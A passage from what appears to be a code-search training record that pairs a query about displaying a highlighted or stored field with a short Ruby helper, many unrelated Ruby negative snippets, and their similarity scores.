\tfactors.map do |factor|\n \t\tfactor.max_score\n \tend\n end", "def max\n data.max\n end", "def take_best\n roll_all.max\n end", "def max\n @data[0]\n end", "def player_w_biggest_feet\n all_players[1].max_by { |stats| stats[:shoe] }\n end", "def max_mcq_score\n if self.exercise.is_mcq?\n sum = 0.0\n self.prompts.each do |question_prompt|\n question_prompt.specific.choices.each do |choice|\n sum += choice.value if choice.value > 0.0\n end\n end\n puts \"MAX MCQ SCORE\",sum,\"MAX MCQ SCORE\"\n return sum\n end\n end", "def highest_scoring_home_team\n @teams.max_by { |team| team.average_home_goals }.team_name\n end", "def max\n if valid?\n max_value\n end\n end", "def compute_score_max(pointer)\n file_info = (pointer.is_a?(FileInfo) ? pointer : pointer.file_info)\n result_score_max = 0\n lst_index_names = [ :base_name, :size, :date ]\n lst_index_names << :ext if (!File.extname(file_info.base_name).empty?)\n lst_index_names.each do |index_name|\n result_score_max += COEFFS[index_name]\n end\n lst_crc = (pointer.is_a?(FileInfo) ? pointer.crc_list : pointer.segment.crc_list)\n result_score_max += (COEFF_BLOCK_CRC_SEQUENCE + COEFFS[:block_crc]) * lst_crc.size\n result_score_max += COEFFS[:segment_ext] * (pointer.is_a?(FileInfo) ? pointer.segments.size : 1)\n (pointer.is_a?(FileInfo) ? pointer.segments : [ pointer.segment ]).each do |segment|\n result_score_max += COEFF_SEGMENT_METADATA * segment.metadata.size\n end\n\n return result_score_max\n end", "def base_score\n rank.last\n end", "def get_max\n @max ||= calculate_max\n end", "def latest\n scores.last\n end", "def score\n @scores[ result.key ]\n end", "def maximum\n return @maximum\n end", "def max\n self.class.max\n end", "def best(n)\n @score.sort{|a,b| b[1][0] <=> a[1][0]}[0..n-1]\n end", "def most_points_scored\n big_score_player = player_collection.reduce { |memo, next_player|\n memo[:points] > next_player[:points] ? memo : next_player; \n }\n big_score_player[:player_name];\nend", "def get_highest_score_cluster(doc_vector, potential_clusters)\n raise 'error' if doc_vector.nil? || potential_clusters.nil?\n\n target_cluster = nil\n\n max_score = -Float::INFINITY\n\n # Scan through each cluster\n potential_clusters.each do |cluster|\n\n # compute the score\n score = calculate_cluster_score_v1(doc_vector, cluster)\n\n if score > max_score\n target_cluster = cluster\n max_score = score\n end\n\n end\n\n return target_cluster \n end", "def get_alternative_total_score()\n # TODO The method get_total_score() above does not seem correct. Replace with this method.\n total_score = 0\n\n self.scores.each { |score| total_score = total_score + score.score }\n\n total_score\n end", "def max\n @maxNumber\n end", "def players_with_highest_score\n players.select{|player| player.score >= highest_player_score}\n end", "def get_max\n\t\t@max.last\n\tend", "def highest_price\n # CARYN SAYS:the way you describe this above is incorrect! Reread the README\n # It should be the integer price for the most expensive listing of this recipe \n Recipe.all.max { |recipe_a, recipe_b| recipe_a.average_price <=> recipe_b.average_price }\n end", "def max_grade\n graded_pictures_count = self.pictures.where(:is_deleted=> false, :is_graded => true).count\n if graded_pictures_count == 0 \n return nil\n else\n return self.pictures.\n where(:is_deleted=> false, :is_graded => true).\n maximum(\"score\")\n end\n end", "def biggestShoes\n players.max_by do|name, stats|\n stats[:shoe]\n end\nend", "def best_offense\n @teams.max_by { |team| team.average_goals_scored }.team_name\n end", "def max_candidates\n return @max_candidates\n end", "def max\n #sees if current head is furthest right node and assigns\n #the values of title and score to a hash\n if @head.right_link == nil\n max_hash = Hash.new\n max_hash[@head.title] = @head.score\n max_hash\n else\n #Searches tree for furthest right node\n @head = @head.right_link\n max\n end\n end", "def maximum\n return self[0]\n end", "def highest_scoring_word(words)\n sorted_words = words.sort_by { |word| word.length }\n\n possibles = sorted_words.group_by { |word| score(word) }.max[1]\n return possibles.find { |w| w.length == 7 } if possibles.any? { |word| word.length == 7}\n possibles.first\n end", "def score\n return @score\n end", "def highest_score_from(words)\n all_words_scores = []\n\n # Calculate scores of all words\n words.each do |word|\n each_word_score = {}\n each_word_score[:word] = word\n each_word_score[:score] = score_word(word)\n all_words_scores << each_word_score\n end\n\n word_rank = all_words_scores.each.sort_by {|hash| hash[:score]}.reverse\n\n puts \"word rank: #{word_rank}\"\n\n best_word = word_rank[0]\n\n word_rank.each_with_index do |hash, index|\n\n if word_rank[index][:score] > best_word[:score]\n best_word = word_rank[index]\n\n # Tie Handling\n elsif word_rank[index][:score] == best_word[:score]\n if best_word[:word].length != 10\n if word_rank[index][:word].length == 10\n best_word = word_rank[index]\n elsif word_rank[index][:word].length < best_word[:word].length\n best_word = word_rank[index]\n end\n end\n end\n index += 1\n end\n return best_word\nend", "def output_highest_average_rating(list_of_average_ratings)\n highest = list_of_average_ratings.max_by do |rating|\n rating[:average_rating]\n end\n\n puts \"\\nDriver with the highest average rating is #{highest[:driver_id]}.\"\nend", "def item_max() @item_max end", "def find_post_highest_likes\n highest= self.posts.max do |like|\n like.likes\n end\n highest.title\nend" ]
[ "0.81702304", "0.81337494", "0.80125886", "0.79976743", "0.79252595", "0.7914158", "0.7716879", "0.7640378", "0.7635702", "0.7603991", "0.7563425", "0.7530126", "0.7330719", "0.7326194", "0.73214954", "0.7289592", "0.7270201", "0.72496164", "0.72360444", "0.7235313", "0.72141314", "0.716646", "0.7160928", "0.7148017", "0.7116669", "0.7112739", "0.70807683", "0.6966885", "0.69626105", "0.69626105", "0.69333994", "0.69326764", "0.6911475", "0.6894565", "0.6888702", "0.6888048", "0.686872", "0.68604237", "0.68223655", "0.6803592", "0.6780293", "0.6771043", "0.6757716", "0.6711065", "0.67013514", "0.66944104", "0.667719", "0.667719", "0.66711634", "0.6662673", "0.66584325", "0.6655319", "0.6655319", "0.6643495", "0.66215104", "0.66203105", "0.6612008", "0.66070867", "0.6599741", "0.6595929", "0.6544889", "0.65299046", "0.65299046", "0.6514019", "0.6509034", "0.6502278", "0.6472888", "0.64690804", "0.6468983", "0.6466698", "0.6452106", "0.64465296", "0.6443182", "0.64425415", "0.6439893", "0.6434346", "0.64323026", "0.64046705", "0.640197", "0.6364329", "0.63633215", "0.635053", "0.63486606", "0.6341284", "0.6336806", "0.63339466", "0.6333426", "0.6322077", "0.63163507", "0.62996566", "0.62938094", "0.6291547", "0.62823975", "0.62819636", "0.6279058", "0.6273669", "0.6272835", "0.6260338", "0.62584645", "0.62581944" ]
0.78459775
6
Returns an array of all the docs
def docs @docs ||= raw_response['response']['docs'] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def docs\n @docs ||= []\n end", "def all\n include_docs!\n docs\n end", "def docs #returns string array of all documents in collection\n raise \"Must be implemented.\"\n return array_of_documents\n end", "def all; @docs.values end", "def docs\n @docs ||= rows.map{|r| r.doc}\n end", "def all\n documents\n end", "def documents(params={})\n server.get(\"#{name}/_all_docs\", params)\n end", "def documents\n response = API.instance.send_request('docs.getList', { :session_key => @attributes[:session_key] })\n documents = Array.new\n response.elements['/rsp/resultset'].elements.each do |doc|\n documents << Document.new(:xml => doc, :owner => self)\n end\n return documents\n end", "def all\n @document = Document.all\n end", "def all_docs(*opts)\n q = \"#{database}/_all_docs\"\n q << build_query_string(opts.first,\"all_docs\") if opts && opts.any? && opts.first.is_a?(Hash)\n\n @conn.query({url_path: q, method: :get})\n end", "def index\n \n @docfiles = Docfile.all\n end", "def list\n\t\tdocs = proxy_database.view(\"#{shared_data_context.name}/all\")[\"rows\"]\n\t\treturn docs\n \tend", "def docs\n unless @docs\n @docs = []\n content().each_line do |l|\n next unless l =~ %r{/usr/share/doc/packages}\n @docs << l\n end\n end\n @docs\n end", "def documents\n reply ? reply.documents : []\n end", "def index\n @client_docs = ClientDoc.all\n end", "def documents\n @documents ||=\n Array.wrap(options[:documents]).compact.presence ||\n (response['docs'] || []).map do |doc|\n document_factory.build(doc, self, options)\n end\n end", "def all_docs(table)\n connection.all_docs(path(table))\n end", "def documents\n document_entries.map{ |f| FileObject[path, f] }\n end", "def list\n @documentations = Documentation.not_article.order('created_at DESC')\n end", "def index\n @documents = Document.all\n end", "def index\n @documents = Document.all\n end", "def index\n @documents = Document.all\n end", "def index\n @documents = Document.all\n end", "def index\n @documents = Document.all\n end", "def index\n @documents = Document.all\n end", "def index\n @documents = Document.all\n end", "def all\n @documents = Document.order(\"id DESC\").all\n end", "def documents\n authorizations.map(&:document)\n end", "def documents; end", "def documents; end", "def documents\n # This function and its helpers are side-effecty for speed\n @documents ||= raw[:hits][:hits].map do |hit|\n doc = extract_source(hit)\n copy_underscores(hit, doc)\n copy_highlight(hit, doc)\n doc\n end\n end", "def documents\n if acknowledged?\n replies.flat_map(&:documents)\n else\n []\n end\n end", "def results\n documents\n end", "def ids; @docs.keys end", "def index\n @documentations = Documentation.all.order(\"created_at desc\")\n end", "def documents\n collections.each_with_object(Set.new) do |(_, collection), set|\n set.merge(collection.docs).merge(collection.files)\n end.to_a\n end", "def index\n\n @documentable = find_resource\n @documents = @documentable.documents\n\n end", "def docs; end", "def all(*vars)\n result = Query.get self, *vars\n result.get_docs\n end", "def get_all\n get_docs\n get_text\n return JSON.pretty_generate(@data)\n end", "def docs_from(response)\n grouped? ? [] : response.docs\n end", "def index\n if !@db\n render json: [], status: 200\n else\n docs = @db.all_docs(params={\"include_docs\":\"true\"})[\"rows\"]\n names = docs.map { |d| d[\"doc\"][\"name\"] }\n render json: JSON.dump(names), status: 200\n end\n end", "def index\n @tucdocs = Tucdoc.all\n end", "def index\n @cdocuments = Cdocument.all\n end", "def index\n @document_lists = DocumentList.all\n end", "def index\n @doc_templates = DocTemplate.all\n end", "def get_documents(ids)\n results = []\n return results unless ids\n ids.uniq.each { |id| results << Zoek::DOCUMENTS.fetch(id) }\n results\n end", "def index\n @doc_artefacts = DocArtefact.all\n end", "def list_doc\r\n @query = params[:query]\r\n @pages = []\r\n @docs = []\r\n if request.post? || @query\r\n case @query\r\n when /type:(\\w+)/\r\n case $1\r\n when /^unknown/i\r\n @docs = Document.find_unknown\r\n @pages = Paginator.new(self, @docs.length, PER_PAGE, params[:page])\r\n \r\n page = (params[:page] ||= 1).to_i\r\n offset = (page - 1) * PER_PAGE\r\n @docs = @docs[offset..(offset + PER_PAGE - 1)]\r\n end\r\n else\r\n @pages, @docs = paginate(\r\n :documents,\r\n :conditions => \"path LIKE '%#{@query}%'\",\r\n :per_page => PER_PAGE)\r\n end\r\n end\r\n end", "def index_documents\n @params = {}\n @action = 'index_documents'\n \n send_auth_request\n end", "def documents\n @mapped_documents ||= Basecamp3::Document.all(bucket.id, id)\n end", "def index\n @group_docs = GroupDoc.all\n end", "def results\n @solr_data[:docs]\n end", "def index\n @documents = current_user.documents.all\n end", "def fetch_feature_docs\n docs=[]\n d = Dir[@source + \"/*.xml\"]\n #puts d.inspect\n\n d.entries.each do |file|\n docs << file\n end\n #puts docs.inspect\n docs\n end", "def index\n @document_items = DocumentItem.all\n end", "def index\n @docs = Doc.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @docs }\n end\n end", "def results\n @solr_data[:docs]\n end", "def get_all_design_documents(namespace, options = GetAllDesignDocumentsOptions.new)\n # GET /pools/default/buckets/{bucket_name}/ddocs\n end", "def documents\n Hancock::Request.send_get_request(\"/envelopes/#{envelope_id}/documents\")[\"envelopeDocuments\"]\n end", "def index\n @ficha_docs = FichaDoc.all\n end", "def eds_documents(data)\n docs = data&.dig('response', 'docs')\n docs = Array.wrap(docs).compact\n factory = blacklight_config.document_factory\n model_opt = { lens: blacklight_config.lens_key }\n docs.map { |doc| factory.build(doc, data, model_opt) }\n end", "def index\n @documentos = Documento.all\n end", "def clear; @docs[] = {} end", "def action_documents\n # Code borrowed from [blacklight]/app/services/blacklight/search_service.rb\n solr_response = search_service.repository.find params[:id]\n # Not sure if we need to set @documents in this context (d.croney)\n @documents = solr_response.documents\n [solr_response, solr_response.documents]\n end", "def list\n response = @user.get(@base_uri)\n response[\"linked-documents\"].map {|ld| LinkedDocument.new(@user, ld) }\n end", "def index\n @documents = Document.where(\"deleted = ?\", false).paginate(:page => params[:page], :per_page => 10).order(created_at: :desc)\n\n end", "def index\n #@documents = Document.all\n @documents = current_user.documents\n end", "def documents\n Easybill::Api::Documents\n end", "def action_documents\n @bookmarks = token_or_current_or_guest_user.bookmarks\n bookmark_ids = @bookmarks.collect { |b| b.document_id.to_s }\n query_params = {\n q: bookmarks_query(bookmark_ids),\n defType: 'lucene',\n rows: bookmark_ids.count\n }\n solr_response = search_service.repository.search(query_params)\n [solr_response, solr_response.documents]\n end", "def index\n @case_docs = CaseDoc.all\n end", "def fetchAllDocuments(collection)\n return collection.find({})\n end", "def browse(options={})\n response = API.instance.send_request('docs.browse', options.merge(:category_id => self.scribd_id))\n documents = []\n response.elements['/rsp/result_set'].elements.each do |doc|\n documents << Document.new(:xml => doc)\n end\n return documents\n end", "def docs\n if !@object.doc.nil?\n rdoc = RDoc::Markup.parse(@object.doc)\n docs = {}\n\n rdoc.parts.each do |part|\n if part.respond_to?(:items)\n part.items.each do |item|\n # Skip rdoc items that aren't paragraphs\n next unless (item.parts.to_s.scan(\"RDoc::Markup::Paragraph\") == [\"RDoc::Markup::Paragraph\"])\n # Documentation must be a list - if there's no label then skip\n label = item.label\n next if label.nil?\n key = label.is_a?(Array) ? label.first : label\n key = key.tr('^A-Za-z0-9_-', '')\n docs[key] = item.parts.first.parts\n end # do item\n end # endif\n end # do parm\n docs\n end # if nil?\n end", "def documents token: nil, max: nil, view: nil\n ensure_connection!\n options = { token: token, max: max, view: view }\n resp = connection.list_docs index_id, options\n return Document::List.from_response(resp, self) if resp.success?\n fail ApiError.from_response(resp)\n end", "def index\n @order_documents = OrderDocument.all\n end", "def read_ordered_docs\n return @read_ordered_docs if defined? @read_ordered_docs\n @read_ordered_docs = has_toc? ? toc_ordered_docs : self.docs.order(\"id asc\").all\n @read_ordered_docs\n end", "def index\n #says to display docs ony with the same ID as a users ID.\n @docs = Doc.where(user_id: current_user)\n end", "def all(&block)\n args = include_docs.query\n \n end", "def index\n @documentations = Documentation.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @documentations }\n end\n end", "def list_ids\n @documents.keys\n end", "def docs(limit: 0, skip: 0)\n results = retrieve(DOCUMENTS_COLLECTION, {},\n sort: { date_added: 1 }, limit: limit, skip: skip)\n return [] if results.count < 1 # results#empty? doesn't exist.\n\n # results.respond_to? :map! is false so we use map and overwrite the var.\n results = results.map { |doc_hash| Wgit::Document.new(doc_hash) }\n results.each { |doc| yield(doc) } if block_given?\n\n results\n end", "def index\n @documents_people = DocumentsPerson.all\n end", "def index\n @document_masters = DocumentMaster.all\n end", "def installed_docs\n extra_counter = 0\n ri_paths.map do |path, type|\n store = RDoc::Store.new path, type\n exists = File.exist? store.cache_path\n\n case type\n when :gem then\n gem_path = path[%r%/([^/]*)/ri$%, 1]\n [gem_path, \"#{gem_path}/\", exists, type, path]\n when :system then\n ['Ruby Documentation', 'ruby/', exists, type, path]\n when :site then\n ['Site Documentation', 'site/', exists, type, path]\n when :home then\n ['Home Documentation', 'home/', exists, type, path]\n when :extra then\n extra_counter += 1\n store.load_cache if exists\n title = store.title || \"Extra Documentation\"\n [title, \"extra-#{extra_counter}/\", exists, type, path]\n end\n end\n end", "def show\n @documentations = Documentation.all.order(\"created_at desc\")\n end", "def index\n @documentacions = Documentacion.all\n end", "def index\n @functional_design_documents = FunctionalDesignDocument.all\n end", "def repo_docs_for(uuid)\n string_response = make_request_for('repo_solr_docs', uuid)\n convert_to_json_docs(string_response) if string_response\n end", "def index\n @externaldocuments = Externaldocument.all\n end", "def index\n query = search_params[\"search\"]\n if query\n @documents = Document.search(query)\n else\n @documents = Document.all\n end\n end", "def documents\n DocumentManager.new(self)\n end", "def initialize; @docs = {} end", "def docs( params={} )\n docs = get_connections(\"docs\", params)\n return map_connections docs, :to => Facebook::Graph::Generic\n end", "def get_doc \n @doc\n end", "def index\n @documenttypes = Documenttype.all\n end", "def index\n @documents = Document.all\n @users = User.all\n\n end", "def length\n docs.length\n end", "def index\n @family_documents = FamilyDocument.all\n end", "def doc_list(item, key, title)\n\t\tif (@config[:docs] == nil)\n\t\t\treturn\n\t\tend\n\n\t\tif (item[:docs_key] != key)\n\t\t\treturn\n\t\tend\n\n\t\tdoc_list_all(item, key, title)\n\tend" ]
[ "0.8506609", "0.84213483", "0.83804363", "0.8107698", "0.80502105", "0.8047714", "0.7926224", "0.77764326", "0.7708408", "0.7634761", "0.76152265", "0.7586358", "0.7340457", "0.73344755", "0.73157185", "0.73089737", "0.73025316", "0.7271728", "0.7242812", "0.7221253", "0.7221253", "0.7221253", "0.7221253", "0.7221253", "0.7221253", "0.7221253", "0.721356", "0.718696", "0.71757007", "0.71757007", "0.7161455", "0.71117115", "0.70396835", "0.69946504", "0.6992193", "0.6986612", "0.6971328", "0.69564706", "0.69540113", "0.69427556", "0.6925187", "0.6923138", "0.69157", "0.689811", "0.6894004", "0.6888993", "0.6888536", "0.68597656", "0.68508524", "0.6841199", "0.6828931", "0.6809171", "0.68062437", "0.679299", "0.6755452", "0.6743709", "0.674272", "0.6739356", "0.6732986", "0.6732441", "0.67046416", "0.67044157", "0.67034453", "0.6703127", "0.6690464", "0.6688479", "0.6680676", "0.66469336", "0.66442275", "0.6643177", "0.6630426", "0.6624566", "0.6622259", "0.6621867", "0.6613965", "0.6612017", "0.65978575", "0.65915203", "0.65768397", "0.6571381", "0.6540756", "0.6536389", "0.65299857", "0.65120447", "0.65115464", "0.6490642", "0.64863956", "0.648588", "0.6482461", "0.64729375", "0.64702094", "0.6463529", "0.6446991", "0.64438516", "0.6432325", "0.64266205", "0.642117", "0.6416906", "0.64114267", "0.6379952" ]
0.7427923
12
Helper for displaying a given field (first tries the highlight, then the stored value)
def display_for(doc, field) highlights_for(doc['unique_id'], field) || doc[field] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def highlight(field_name)\n highlights(field_name).first\n end", "def render_field(label, value)\n render_field_content(label, (h value))\n end", "def display_field\n current_field_values_with_field_type_id(field_types.first.id).first.try(:value) || 'no display field available'\n end", "def highlight(field)\n if(field == params[:sort].to_s)\n return 'hilite'\n else\n return nil\n end\n end", "def show_field(model, field, label = nil)\n label ||= field.to_s.titlecase\n show_value(model.send(field), label)\n end", "def render_document_show_field_value *args\n render_field_value(*args)\n end", "def render_field(field, loopob = {})\n # :afield, :length, :stag, :block\n # we have to find the corresponding object\n f = nil\n ob = if loopob.member? field[:stag]\n loopob[field[:stag]]\n else\n @objects[field[:stag]]\n end\n f = field[:block].call(ob) unless ob.nil? || field[:block].nil?\n f = field[:default] if f.nil? or f.to_s.size == 0\n f = f.to_s[0...field[:length]]\n f.ljust field[:length]\n end", "def ft_field_display\n blacklight_config.search_fields[blacklight_config.full_text_index].include_in_simple_select = true\n blacklight_config.search_fields[blacklight_config.full_text_index].if = true\n end", "def search_call_field(field, **opt)\n f_opt = { class: 'name' }\n name = opt.delete(:name) and merge_html_options!(f_opt, name)\n prepend_css!(opt, 'key')\n opt[:'data-value'] = field\n html_span(opt) do\n html_span(field, f_opt) << ': '.html_safe\n end\n end", "def highlight key\n return unless highlight? key\n highlight_fields[key].map { |x| x.html_safe }\n end", "def document_show_field_label(document, field)\n lookup_display_name(document, field) || super\n end", "def field_name_choice(value)\n value_str = sprintf(\"%-#{VALUE_LENGTH}.#{VALUE_LENGTH}s\", first_line(value))\n if AppConfig.config[:color_enabled]\n color = 'green'\n unless AppConfig.validate[value].nil?\n color = 'red' unless AppConfig.validate[value].call(AppConfig.config[value])\n end\n value_str = \"<%= color('#{value_str}', :#{color})%>\"\n end\n str = sprintf(\"%20s %s\", value, value_str)\n str\n end", "def show_val(value,\n str_if_empty='____',\n value_style='form_data',\n prefix='',\n suffix='',\n prefix_style='field_label')\n value_style = 'form_data' if value_style.blank?\n isblank = value.blank?\n if isblank && str_if_empty=='suppress'\n return ''\n end\n value = str_if_empty if isblank\n s = ''\n s << \"<span class='#{prefix_style}'>\" + prefix + \"</span>\" unless prefix.blank?\n s << \"<span class='#{value_style}'>#{value}</span>\"\n if (!isblank) && (!suffix.blank?) && (suffix != value.to_s[-1,1])\n s << suffix\t#\tAppend suffix if it not already the last character in the string (e.g., avoids double periods)\n end\n return s.html_safe\n end", "def field_value(field)\n field_config = blacklight_config.show_fields[field]\n Blacklight::ShowPresenter.new(@document, self).field_value field_config\n end", "def imprint_value(field)\n imprint_subfields = field.subfields.select { |sf| sf.value if sf.code =~ /[abcefg]/ }\n imprint_subfields.compact.map { |sf| sf.value.strip }.join(' ').strip\n end", "def display_for(object, field_name)\n fdef = field_called(field_name)\n fdef.display_proc.call(fdef.reader_proc.call(object))\n end", "def format_field(f, row)\n if respond_to?(\"format_#{f}\")\n send(\"format_#{f}\", row)\n else\n row[f].to_s\n end\n end", "def display(row)\n field_components = @display_field.split(\".\")\n field_components.inject(row) do |object, field|\n object.try(field) || \"n/a\"\n end\n end", "def get_field_display_rtpl\n # TODO: revisit when implementing save/display of multiselct values\n # if(isset($this->multiple) && $this->multiple != '')\n # $multiple = $this->multiple;\n # else $multiple = '';\n\n field_string = '{%=' + @model_name + '[:' + @name + '_display]%}'\n field_string\n end", "def render_value(value, field:, **opt)\n if present? && object.field_names.include?(field)\n object[field] || EMPTY_VALUE\n end || super\n end", "def show_other_filled field_id, value, field_name\n coder = HTMLEntities.new # create a coder to code value fields for each question\n retVal = '<span id=\"other_'+field_id+'\" class=\"other_field\" style=\"padding:0px;\"><br/><br/>Please specify:'\n retVal += '<input id=\"' + field_id + '_input\" type=\"text\" title=\"other\" style=\"width:75%;\" name=\"' + field_name + '\" value = \"' + coder.encode(value) + '\"></span>'\n return retVal\n end", "def contact_field(contact, field_name, label=field_name)\n html=[]\n style=\"edit\"\n html << \"<label>#{label}</label>\"\n val = html_escape(contact.send(field_name))\n if val.blank?\n val = 'Click to edit' \n style << \" subtle-text\"\n end\n html << \"<span id=\\\"#{field_name}\\-#{contact.id}\\\" class=\\\"#{style}\\\">#{val}</span><br>\"\n html.join(\"\").html_safe\n end", "def imprint_label(field)\n label_subfields = field.subfields.select { |sf| sf.value if sf.code == '3' }\n label_subfields.compact.map { |sf| sf.value.strip }.join(' ').gsub(/[,;:.]*$/, '').strip\n end", "def inplace_editable_default_display_with(value); value; end", "def display_field(field, depth = 0, parents = [])\n my_parents = parents.dup\n field_str = ''\n name = field[:name]\n if field[:class] == BinData::Array\n field_str = \"\\n\" + (\"\\t\" * depth) + name.to_s.upcase\n parent = self\n my_parents.each do |pfield|\n parent = parent.send(pfield)\n end\n array_field = parent.send(name)\n field_str << process_array_field(array_field, (depth + 1))\n else\n if my_parents.empty?\n label = \"\\n\" + (\"\\t\" * depth) + name.to_s.upcase\n if field[:class].ancestors.include? BinData::Record\n field_str = label\n else\n value = send(name)\n field_str = format '%-30s %s', label, value\n end\n else\n parent = self\n my_parents.each do |pfield|\n parent = parent.send(pfield)\n end\n value = parent.send(name)\n label = field[:label] || name.to_s.capitalize\n label = \"\\n\" + (\"\\t\" * depth) + label\n field_str = format '%-30s %s', label, value\n end\n end\n my_parents << name\n field[:fields].each do |sub_field|\n field_str << display_field(sub_field, (depth + 1), my_parents)\n end\n field_str\n end", "def crushyfield(col, o={})\n return '' if (o[:type]==:none || model.schema[col][:type]==:none)\n return crushyinput(col,o) if (o[:input_type]=='hidden' || model.schema[col][:input_type]=='hidden')\n default_field_name = col[/^id_/] ? Kernel.const_get(col.sub(/^id_/, '')).human_name : col.tr('_', ' ').capitalize\n field_name = o[:name] || model.schema[col][:name] || default_field_name\n error_list = errors_on(col).map{|e|\" - #{e}\"} if !errors_on(col).nil?\n \"<p class='crushyfield %s'><label for='%s'>%s</label><span class='crushyfield-error-list'>%s</span><br />\\n%s</p>\\n\" % [error_list&&'crushyfield-error', field_id_for(col), field_name, error_list, crushyinput(col, o)]\n end", "def render_custom_field(field, form)\n highlighted = field._id == field._parent.label_field_id\n default_options = default_custom_field_options(field, form, highlighted)\n field_options = custom_field_options(field, form)\n\n return '' if field_options.nil?\n\n options = default_options.merge(field_options)\n\n form.input options.delete(:name), options\n end", "def show_field( name, val, indent )\n return if val.nil?\n return if val.respond_to?( :empty? ) && val.empty?\n puts \"#{indent}#{name} => #{val}\"\n end", "def the_field(field_key, default_val = '')\n h.do_shortcode(object.get_field(field_key, default_val).to_s.translate(@_deco_locale), object)\n end", "def display_name\n \"#{name}:<span class='crayon' style='background-color:##{self.value};'>&nbsp;</span>\".html_safe\n end", "def full_title(field = nil)\n field && find_record_value(field) || super()\n end", "def format_submission_field(field, value, &block)\n FormSubmissionFieldDisplay.new(self, field, value, &block)\n end", "def html_for_non_date_field(object, field)\n \"<p>\n <label for = '#{field}' >\n Select your #{field}:\n </label>\n <input type = 'text' \n name = create_form[#{field}]\n placeholder = 'Type in the #{field}'\n value = '#{object.send(field)}'>\n </input>\n </p>\"\n end", "def formatted(field, wrap_in = :span)\n value = value_for(field)\n options = @options[field]\n\n if value.blank?\n # If the field is blank, we want to return _unless_ the field is the\n # right subtitle, and a right title is set (in which case a title\n # element is needed to push the subtitle down).\n if field != :right_title || value_for(:right_subtitle).blank?\n return nil\n else\n value = '&nbsp;'\n options[:no_escape] = true\n end\n end\n\n # Escape required?\n unless options.delete(:no_escape)\n value = Merb::Parse.escape_xml(value)\n end\n\n # Link required?\n if options.has_key?(:link)\n value = %[<a href=\"#{options.delete(:link)}\"] +\n %[ title=\"#{value}\">#{value}</a>]\n end\n\n # Set the CSS class.\n if options[:class]\n options[:class] = [options[:class], CSS_CLASSES[field]].join(' ')\n elsif CSS_CLASSES[field] != ''\n options[:class] = CSS_CLASSES[field]\n end\n\n tag(wrap_in, value, options)\n end", "def drawField\n @field_win.werase\n\n # Draw the value in the field.\n temp = @current.to_s\n Draw.writeCharAttrib(@field_win,\n @field_width - temp.size - 1, 0, temp, @field_attr,\n CDK::HORIZONTAL, 0, temp.size)\n\n self.moveToEditPosition(@field_edit)\n @field_win.wrefresh\n end", "def field(rec, form_drawer)\n form_drawer.draw_field(rec, self)\n end", "def label_for_field(record, controller = self.controller)\n renderer = controller.record_select_config.label\n case renderer\n when Symbol, String\n # find the <label> element and grab its innerHTML\n description = render_record_from_config(record, File.join(controller.controller_path, renderer.to_s))\n description.match(/<label[^>]*>(.*)<\\/label>/)[1]\n\n when Proc\n # just return the string\n render_record_from_config(record, renderer)\n end\n end", "def after_render_field(record, column); end", "def get_field_display_rtpl\n '{%=' + @model_name + '[:' + @name + ']%}'\n end", "def field_content\n value\n end", "def field_label(field)\n @__field_label_cache ||= {}\n @__field_label_cache[field] ||= field.to_s.sub(/_facet$|_display$|_[a-z]$/,'').gsub(/_/,' ')\n @__field_label_cache[field]\n end", "def editable_field_html(klass, field_name, value, f, include_nil_selectors = false)\n # When editing a job the values are of the correct type.\n # When editing a dirmon entry values are strings.\n field = klass.fields[field_name.to_s]\n return unless field&.type\n\n placeholder = field.default_val\n placeholder = nil if placeholder.is_a?(Proc)\n\n case field.type.name\n when \"Symbol\", \"String\", \"Integer\"\n options = extract_inclusion_values(klass, field_name)\n str = \"[#{field.type.name}]\\n\".html_safe\n if options\n str + f.select(field_name, options, {include_blank: options.include?(nil) || include_nil_selectors, selected: value}, {class: \"selectize form-control\"})\n else\n if field.type.name == \"Integer\"\n str + f.number_field(field_name, value: value, class: \"form-control\", placeholder: placeholder)\n else\n str + f.text_field(field_name, value: value, class: \"form-control\", placeholder: placeholder)\n end\n end\n when \"Hash\"\n \"[JSON Hash]\\n\".html_safe +\n f.text_field(field_name, value: value ? value.to_json : \"\", class: \"form-control\", placeholder: '{\"key1\":\"value1\", \"key2\":\"value2\", \"key3\":\"value3\"}')\n when \"Array\"\n options = Array(value)\n \"[Array]\\n\".html_safe +\n f.select(field_name, options_for_select(options, options), {include_hidden: false}, {class: \"selectize form-control\", multiple: true})\n when \"Mongoid::Boolean\"\n name = \"#{field_name}_true\".to_sym\n value = value.to_s\n str = '<div class=\"radio-buttons\">'.html_safe\n str << f.radio_button(field_name, \"true\", checked: value == \"true\")\n str << \" \".html_safe + f.label(name, \"true\")\n str << \" \".html_safe + f.radio_button(field_name, \"false\", checked: value == \"false\")\n str << \" \".html_safe + f.label(name, \"false\")\n # Allow this field to be unset (nil).\n if include_nil_selectors\n str << \" \".html_safe + f.radio_button(field_name, \"\", checked: value == \"\")\n str << \" \".html_safe + f.label(name, \"nil\")\n end\n\n str << \"</div>\".html_safe\n else\n \"[#{field.type.name}]\".html_safe +\n f.text_field(field_name, value: value, class: \"form-control\", placeholder: placeholder)\n end\n end", "def missing_field( err = 'none', color: '#d2d2d2' )\n \"<em style='color: #{color};'>(#{err})</em>\".html_safe\n end", "def render_field(field_value,field_name,field_spec,language = OpenMoneyDefaultLanguage)\n html_field_name = \"flow_spec[#{field_name}]\"\n\n field_description = get_language_translated_spec(field_spec,'description',language)\n\n field_type = field_spec['type']\n case \n when field_spec['values_enum']\n enum = field_spec['values_enum']\n if enum.is_a?(Hash)\n enum = enum[enum.has_key?(language) ? language : OpenMoneyDefaultLanguage ]\n end\n select_tag(html_field_name,options_for_select(enum,field_value))\n when field_type == \"boolean\"\n select_tag(html_field_name,options_for_select([[l('Yes'), \"true\"], [l('No'), \"false\"]],field_value))\n when field_type == \"submit\"\n submit_tag(field_description,:id=>\"commit\") << '<span id=\"commit_processing\" style=\"display:none\">Processing...</span>'\n when field_type == \"text\"\n text_field_tag(html_field_name,field_value)\n when field_type == \"float\"\n text_field_tag(html_field_name,field_value)\n when field_type == \"unit\"\n UnitToHTMLMap[field_name]\n else\n text_field_tag(field_name,field_value)\n end\n end", "def render_selected_facet_value(facet_solr_field, item)\n unique_facet_field = params_for_ui[:f].select { |k,v| k.to_s.include?(facet_solr_field) and CGI::unescape(v)==item.value }[0][0]\n '<span 